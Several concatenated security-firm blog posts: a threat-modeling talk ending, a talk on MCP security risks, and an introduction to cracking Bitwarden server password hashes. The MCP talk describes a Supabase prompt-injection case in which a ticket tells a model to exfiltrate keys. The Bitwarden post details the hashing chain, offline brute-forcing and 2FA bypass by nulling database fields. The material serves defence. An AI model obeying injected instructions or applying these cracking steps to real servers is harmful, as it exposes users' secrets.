We walked through the setup and, as a result of the threat model, we redirected the effort to save time and money. It became clear that testing the application itself was less valuable because the key question was how the appliance was protected from an infrastructure perspective. The customer chose a lighter, more efficient network test instead of a full application test. Threat modeling not only helps prioritize resources for software security, it makes work in general far more efficient.

One example: a customer asked us to build a threat model for a shared-responsibility community development project. They were writing code for the project and wanted us to focus on that specific code, which we did.

Although the threat model initially targeted the code itself, in the process of threat modeling, we redirected the focus because the real problems were in how they were writing the code, not what they were writing. We identified potential issues in the code development and deployment pipeline and pointed out areas they might want to address.

• Internally we build threat models for our own practice so we understand how to protect your data and infrastructure we may have access to, along with all the potential abuse cases and ways we ourselves could be attacked.

• Externally on large infrastructure deployments such as lift-and-shift projects, where many moving parts create a large attack surface, we are incorporating threat modeling in parallel to ensure we design and build securely and account for every abuse case.

I understand that threat modeling is not the first thing you think about each day; client-facing features and new functionality often seem more urgent, yet threat modeling is still vital for moving the business forward.

I want to leave you with this: what if we spent a little bit of time on an activity that is extremely helpful in preventing future vulnerabilities, threat modeling. It would be even better if it were part of a formal software security development lifecycle, though I understand that is not always possible. Ultimately, if you do threat modeling, you end up with a more complete threat model and a more trusted system. Will it eliminate every new vulnerability? Of course not, but it will reduce them, and that might be the best realistic outcome.

Threat modeling boils down to asking what can go wrong?

This presentation was delivered at the ivision Security Symposium 2025. This post is based on a transcript of that presentation, and has been edited for clarity.

Why in the world would AI need a library card?

AI is clever. However, it cannot do anything useful without the necessary information. Let’s say you’ve got ChatGPT or Anthropic’s Claude and you ask, Hey, how did my company do over the last four quarters? What are the best-performing products? It doesn’t know a thing about that. It cannot help you. If you’re a public company it might dig around the web and try to get an answer, but it will not be authoritative. It just doesn’t know.

For clarity, when I say AI I really mean the technology behind large language models, or LLMs. Public systems like ChatGPT use this, for example, but so do internal business tools.

At ivision we use Lattice for our mid-year reviews. I noticed it now includes a new AI feature. You can paste your self-review and click Make more professional. You can even add something like, “Make it more professional, but my boss Sarah only speaks Polish,” and the system will translate it into Polish. I found that amusing, though probably not useful for most of you.

You are seeing this AI capability appear in line-of-business applications and, of course, in more and more custom-built solutions. The goal is to create truly useful applications, and that is where MCP comes in.

So a fundamental thing to think about is how AI knows anything. There are only two ways it does. The first is what it learns in the schoolhouse, the training. That training happens once for a release of a model, and it is based on the billions or trillions of documents that the developers hoover up from every source, legal or not, to train these models.

The next way is something you control, and that is the context. For each request you make to an AI, like in ChatGPT, each time you hit Enter and send that request or your application makes a request, a few pieces of information are provided.

First is the system prompt. These are instructions typically controlled by the application, telling the model how it should behave. Next is the conversational history, everything you have talked about so far in that thread with the AI. There are also tools that AI systems can call and get responses from, just like function calls. This is a big deal and the focus right here, how tools are going to be working. Finally, there is the user message, the part you put in.

All of this context information is used only for that one conversational turn and can be changed each time you go through. There is the ambient knowledge that comes from training, and there is the specific knowledge provided in context. If you want to make useful AI systems, it is all about what goes into the context of that request. That is where it happens. The models are shared by everybody, but the context is what makes your AI system actually useful.

What if someone dragged a financial document into ChatGPT and asked, How have my products been doing over the last four quarters? I built the same demo with a fake company and a fake document. Here is what happens behind the scenes. The PDF is uploaded and converted to text. The system then chops the text into pieces. Based on the question, it selects a few of those pieces and places them in the context. Next, the LLM gets to work. It even writes a small program to analyze the data, runs that program, looks at the result and finally drafts the answer. That raises concerns:

• Why was the entire document copied into a public service?
• Which chunks were chosen out of 500 pages?
• Is the generated program any good?
• And will the answer be consistent the next time I ask?

Clearly, this is not the right way to handle the question.

So how do you make a useful AI system that can answer questions like this, questions that require specific information about your company or systems? The way this is happening in 2025 and 2026 is through tools, and those tools are reached by AI through MCP, the Model Context Protocol.

When you give AI the right tools for the job, and this is the same question, just with an MCP tool I developed for the demo, you suddenly get the answers you want. In this example the AI has been given three or four different tools to query some fake financial data and it comes up with a genuinely useful answer.

If you are looking at this and thinking, this is what my business needs, or you have heard your vendors say the applications you use can now plug into AI and be used by AI, you might be asking how that actually happens.

The way that’s happening very quickly is through this new protocol called MCP, the Model Context Protocol. It is a way that applications can be connected to other applications. The primary use case, and where this is coming from, is all of the AI providers. This started with Anthropic; in November 2024 they released the spec. A couple of months later OpenAI picked it up and said, You know what, we like this too. With those two big names behind MCP, it has just exploded.

It is now the way these AI systems connect to all sorts of applications. If you go into ChatGPT you have a tab where you can enable connectors, and one of those connectors is your Google Workspace. That is MCP in action: ChatGPT is the client, the MCP server run by Google is the server, and these two applications talk to each other to give the AI the data and tools it needs to get work done.

This has exploded; it’s a really big deal. At the CIO and vendor level, when they start saying, AI is going to change this world, what they are really talking about, from a technical perspective, is AI with tools running in a loop to do a job, and the way that AI is going to get to these tools is through MCP.

Now, the security guy is like, I’m really curious about this.

How does this work? What are the big problems with it? This is really important because there are literally thousands of MCP servers already. A website called glama.ai lists about 2,500 as of last week when I took that screenshot. These servers let you hook your AI up to just about anything, including the local file system of the computer it’s running on, the webcam, business applications, and developer tools. If the question is how to connect AI to something, this year the answer is MCP.

MCP is about a lot more than just tools. It also gives resources to AI, like files, and can provide prompts. If I want to do a task, here’s how I prompt myself to get something started.

It can use the AI model from the tool, acting like a reverse query that comes to the tool, not from the person. It can also ask your users questions. I’m waiting for the first MCP-powered phishing campaign; it might happen.

You may be looking at this and saying, “Hey Brad, there have been REST APIs in my line-of-business applications for a long time.” That’s true, but this is different in a couple of ways.

At its core it is a remote procedure call interface. Authorization is required so the AI knows what information it is allowed to access when answering a question. One of the big differences is the transport. With REST APIs you think of the web, HTTP, proxies, DNS, and the ability to intercept and inspect queries. MCP is protocol agnostic. One protocol it supports, primarily for developer purposes, is a local process running on the same machine. So when I talk about hooking your AI up to your local webcam, that happens through a local process.

Anthropic provides an example MCP server that can read files from your file system, send those files to Anthropic to work with them, write them, or modify them. This has obvious security ramifications.

I’m going to talk about three paths for businesses. The first path is No, I don’t want that; I’m going back into my home business and stamping this out, not yet. The second path is the people who want to use MCP. The third path is the people who might want to build with it in the coming year.

Maybe you feel this is not ready for your company yet and you do not want to implement it. First, be aware that end users who can install software can enable it themselves. They can install Claude Desktop and use local or remote MCP servers.

Other applications, including line-of-business apps, will likely embed MCP clients and servers so they can connect to AI locally. This capability may seep into the applications you already use or plan to use.

Once a process has file system access, it can reach many resources. For example, OneDrive files synced locally or, on a Mac, iCal connected to your Exchange server. A user could ask Claude to find a meeting time with specific people, and it would query those calendars. That might be helpful, but it may not be what you intend.

Expect MCP clients to appear in line-of-business applications. Developers should note that VS Code added an MCP client a few months ago, and more are coming. Not all of them will be AI apps; AI demand is driving MCP adoption, but MCP is a useful integration point on its own, much like USB, which lets you connect all sorts of things.

If you’re not ready for this yet, you’ll need to be active about going out and finding where it’s being used, seeing which line-of-business applications are starting to offer these capabilities and which SaaS applications are. Make sure they don’t get turned on and used behind your back. You need a bit of a campaign; it’s a standard anti-shadow IT project.

Now, let’s take an alternate approach: we want to support our users. AI has been useful, and if we give our AI systems better information and tools, they can answer questions and help people get their work done. We like that.

We must always remember that the AI, the LLM, is not a trusted party from a security perspective. Most people do not grasp this. I have watched an eight-year-old use ChatGPT and she has not figured out it is not a person. Adults may know it is not a person, but may place too much trust in the AI. As security practitioners, we must accept that the LLM itself is untrustworthy, even when a trustworthy user interacts with it.

When you hook an LLM to systems containing data you want to keep confidential, you need to think carefully about the risks.

Even if your company only buys software, SaaS and line-of-business developers are rapidly adding MCP servers to their products and rediscovering well-known security vulnerabilities. I will show some examples of this.

A unique burden falls on the person who decides which MCP systems or connectors to enable in ChatGPT or Claude. You must assess security exposure based on the combination of tools. A single match is one thing; a match plus a half-gallon of gasoline is quite another. Combining different MCP servers can give an LLM far more capability than you expect.

Everyone will want these systems to work with their SSO. Because MCP relies on advanced OAuth features that few other systems use, I anticipate bugs. New code gives us new problems.

So let’s say you’re just using MCP services offered by your software vendors. They are making new mistakes. This is just in the last month: security faults in MCP servers implemented by commercial software companies.

The top left example is Asana. They decided to make an MCP server but, for whatever reason, allowed it to read data from every one of their tenants. That is not a feature of their web app and they certainly did not intend to do that. They just forgot on the MCP server. New code, new problems. They had this tragic authorization bug, had to pull it down, and fix it. I do not know how it got out the door.

The middle one, Anthropic’s MCP server, had a garden variety path traversal error. We have seen and largely stamped these problems out of web apps for decades, but new code means new problems.

The last one is Supabase. It is a ticketing system and they had a data exfiltration leak.

I will show you how this works in a slide coming up. As a security person you want to look at this new feature and be cautious. Companies have been stumbling over themselves to roll out AI features and say, Oh, it is like it was before but now it has AI and we are raising our prices 30%, too! They love that. In their haste to get to that 30% more they are making fundamental mistakes in application security. MCP is one of those areas. It has only been around since November, but they know it is happening and they are scrambling.

Be cautious. You can test MCP servers; they will be tested differently from web applications. If you are really going to use MCP to create a door to critical data or systems, even if you are not writing that code, put some effort into testing it. You might be the first one to do so.

I mentioned that this is not your mother’s OAuth. I won’t go into the details, but when you connect systems you are usually asked for a client ID and client secret. You preregister, fill out a form, get approved, and only then can your system call theirs.

For ChatGPT, Anthropic Claude, or other mega AI vendors, that process is a burden. They want their AI to pick up any available tool, use it, and get the necessary information. They need to authorize the user, not the system.

OAuth already includes a documented, standardized behavior called dynamic client registration. Hardly anyone has used it, but many will start now because of MCP. New code, new problems.

Here’s the key takeaway. People are always concerned about prompt injection. Prompt injection is a behavior, but what you really need to watch for is what Simon Willison calls the lethal trifecta:

• access to private data
• ability to communicate externally
• exposure to untrusted content

When a vendor says, “We’ve got this new feature; you should enable it in your ChatGPT instance,” sit down and ask yourself, Does this tool bring together these three elements? If it does, you have a heightened risk.

This happened in the Supabase example. They had a ticketing system where anyone could submit tickets - untrusted content. They also had private data, because their MCP server exposed a tool to the LLM named execute_sql(). Right there you know you have a problem. Using that tool, someone could submit a ticket instructing the model to fetch private integration keys from the Supabase database and add them as a comment, so the attacker could read them later. That completes the third element: the ability to communicate externally.

There are ways to design MCP servers so these three elements never appear together. Supabase could have taken a different path, but it didn’t.

This is my key warning. Vendors will push MCP on you. It’s not just a flag you turn on and say, “Great, we have AI now.” Use caution, and always check whether the lethal trifecta is present when used in combination with the other MCP servers you have enabled. When it is, there is risk.

So, last little bit here. If you’re going to be building MCP systems, there’s a lot to be concerned about. Prompt injection is not a solved problem in 2025. It can be mitigated, thwarted, and monitored, but it is not solved, and bolt-on security will not fix it. Every vendor that claims to have solved prompt injection really hasn’t; they should say we have helped. That’s still valuable. WAFs in front of a web server are great; they don’t solve the underlying problems, but they can help manage them, and that’s useful. Mindful architecture, coupled with MCP, can be really effective.

So that’s my last little bit. I wanted you all to be informed about something that’s coming at you like a freight train, and that’s MCP. It’s how AI will be able to use tools, and there are thousands of them coming out. New things give security people like me hives, because we know there will be bugs, so let’s go find them.

I also talked about three ways to get started in your analysis when you go back. If you have AI-related security questions, or just security questions in general, reach out to me and I’ll connect you with someone who can give you some insight.

In this four-post series, we present the results of one such avenue of research: a hardware-accelerated password recovery tool for Bitwarden servers. Bitwarden is an open-source password manager. It can sync data from various client applications—mobile, PC, browser—to the main Bitwarden server (vault.bitwarden.com) or to a self-hosted server instance. Researchers have published a significant amount of analysis and tooling for recovering passwords from a client application cache, but there is little to be found about post-compromise of a server. In theory, server files should be protected even more strongly than client application caches. In practice, we found that to be true, but we have still been able to extract all stored passwords from real-life server instances using the custom tooling covered in these posts.

To be clear, we have not discovered any vulnerability in Bitwarden, nor are we presenting any flaw in its security model. There is a known threat inherent to any application that stores all its data on the server: compromise of the server can allow attackers to brute-force user passwords. We are presenting tooling that realizes this threat for older versions of the Bitwarden server, which can be used by server operators to make realistic estimates of attacking difficulty.

In this post we’ll discuss the details of the Bitwarden server security model as they pertain to authentication and hashing. In the following two posts we will walk through our released code and provide commentary. The final post concludes with results and lessons learned.

Advice for Operators

First, what does this research mean for Bitwarden users who do not deploy their own servers, for example users of the cloud-hosted https://vault.bitwarden.com (or .eu)? Practically nothing. You should obviously continue to use a long, preferably random, Master Password.

If you or your IT department deploy a self-hosted Bitwarden vault, this research is more relevant, but it still doesn’t change much. Securing the filesystem backing the Bitwarden server is critically important. This research provides evidence that cracking a Bitwarden server database given full filesystem access to the server is not just theoretically possible but practically possible as well. We recommend double-checking the security protections of the server host, any backups, and any host that stores backups.

Security Model

Bitwarden uses a security model¹ that is pretty standard for cloud-syncing password managers. Each user creates a Master Password, and all secrets are encrypted with that password. Client applications (browser plugin, phone app, etc.) cache encrypted password databases locally, but can also send encrypted passwords to a configured cloud server. A new client application can request the encrypted passwords from the server database to initialize a new local cache, but it has to authenticate first. Let’s walk through this process of logging in to and accessing a secret stored in a Bitwarden server:

1. A user accesses the instance in a web browser (this could also be a mobile application or other client).
2. The user enters their email and Master Password. The web browser computes the Master Password Hash (details later) and sends it to the server.
3. The server computes another hash operation on the Master Password Hash and compares the result to the masterpassword field of the User table in the database (this value is “protected”, as discussed in more detail in a later post). If there’s a match, the server marks the session as authenticated and continues.
4. The user requests a secret, and the server retrieves the corresponding entry from the database and serves it to the client. There are a few more cryptographic steps here that depend on the exact scenario, but the gist of it is that the Master Password is used as the lynchpin that decrypts everything else. See the Bitwarden Security Whitepaper for more details.

Our goal, taking an attacker’s mindset, is to recompute the Master Password for entries in the database. An attacker who compromises the server database will have a column of authentication hashes (as mentioned previously, there is an extra processing step required here) which can be brute-forced, just as any other password hash can be, to recover the Master Password. The Master Password can then be used to log in to the web interface and retrieve all the secrets or decrypt the entries from the database.

Diversion: what if an attacker compromises a database and has a user’s Master Password, but the user has 2FA enabled? Well, 2FA is not cryptographically relevant. One solution for the attacker is to run a modified server that doesn’t enforce 2FA. Another option is to just null the 2FA fields in the database.

Further diversion: why isn’t 2FA used to cryptographically protect secrets? The 2FA method that enjoys the most ubiquitous support is TOTP (HOTP shares the same properties). In TOTP, both the server and the device store an identical shared secret, and authentication consists of proving to the server that the device knows the same secret as it. This scheme can’t be used to cryptographically protect data on the server because it inherently requires the secret to be accessible to the server process as plaintext. There are other 2FA schemes that could be used to cryptographically protect a user’s secrets on the server (including the trivial scheme of having a phone app that transparently appends a stored secret to a user’s Master Password during authentication), but there are big trade-offs in terms of usability, adoption, and security.

Algorithms

So what exactly are the hashing algorithms? Let’s build it up piece by piece.

The password a user types in is their Master Password.

The Bitwarden client calculates their Master Key with Master Key = PBKDF2-SHA256(password=Master Password, key=Email Address, rounds=600000), where PBKDF2-SHA256 is Password-Based Key Derivation Function 2 using SHA256 as the underlying hash function. The number of rounds is configurable by the user, but the default is 600000. The user can also switch from PBKDF2-SHA256 to Argon2, but we didn’t analyze or write code to support that. The Master Key is the basis of all secret encryption and decryption, which we won’t cover in this post (see Bitwarden’s whitepaper).

The Bitwarden client calculates the Master Password Hash with Master Password Hash = PBKDF2-SHA256(password=Master Key, key=Master Password, rounds=1)².

To authenticate to a cloud server, the Bitwarden clients sends the Master Password Hash encoded in base64. The server treats this incoming value as a password and uses ASP.NET Core’s PasswordHasher³ functionality to further hash the value. The specific algorithm varies between versions, but the version we looked at used PBKDF2-SHA256(password=base64(Master Password Hash), key=Email Address, rounds=10000). The resultant value is stored in the database using ASP.NET Core’s Data Protection, which is covered in detail later.

Putting it all together, the hash stored on the server looks like this:

Server Password Hash(Master Password, Email Address):
    return PBKDF2-256(
        password=base64(PBKDF2-SHA256(
            password=PBKDF2-SHA256(
                password=Master Password,
                key=Email Address,
                rounds=600000
            ),
            key=Master Password,
            rounds=1
        )),
        key=Email Address,
        rounds=10000
    )

Diversion: Modern Bitwarden clients cache yet another hash type, used to verify the Master Password and unlock the local database. Instead of storing the Master Password Hash, they take the Master Key and calculate PBKDF2-SHA256(password=Master Key, key=Master Password, rounds=2) instead of rounds=1 to get the Master Password Hash. Even though this isn’t documented in the whitepaper¹, a user sent an email and got a response saying that the rationale is so that the cached value can’t simply be sent to a cloud server to authenticate. This password hash is what the existing Bitwarden hashcat plugin (hash mode 23400) cracks. Prior to 2021, clients cached the Master Password Hash.

Versioning

We developed the proof of concepts covered in this post series a while ago. Bitwarden and its underlying libraries have released updates that support stronger hashing algorithms, leading to better security for users. We are only publishing code that works with Bitwarden servers running version 2024.2.2 or older, and will only work for users who have not switched to Argon2 in their settings (Argon2 has been available since version 2023.2.0). The breaking change in 2024 was this commit, which upgraded the server library from .NET 6 to .NET 8, which included this pull request, which changed changed the PRF from hmac-sha256 to hmac-sha512.

To recap, our hashcat plugin supports:

• Client-side hash: PBKDF2-SHA256, any number of rounds
• Server-side hash: PBKDF2-SHA256, any number of rounds

Our plugin does not support:

• Client-side hash: Argon2
• Server-side hash: PBKDF2-SHA512

Next Up

In this post we explained how Bitwarden calculates and stores password hashes. In the next post, we’ll release our hashcat plugin and dive into its technical details. After that, we’ll take a detour into a technical analysis and re-implementation of ASP.NET Core’s Data Protection functionality, which was necessary for a pure Python hash extractor tool. Finally, we’ll wrap up with our lessons learned.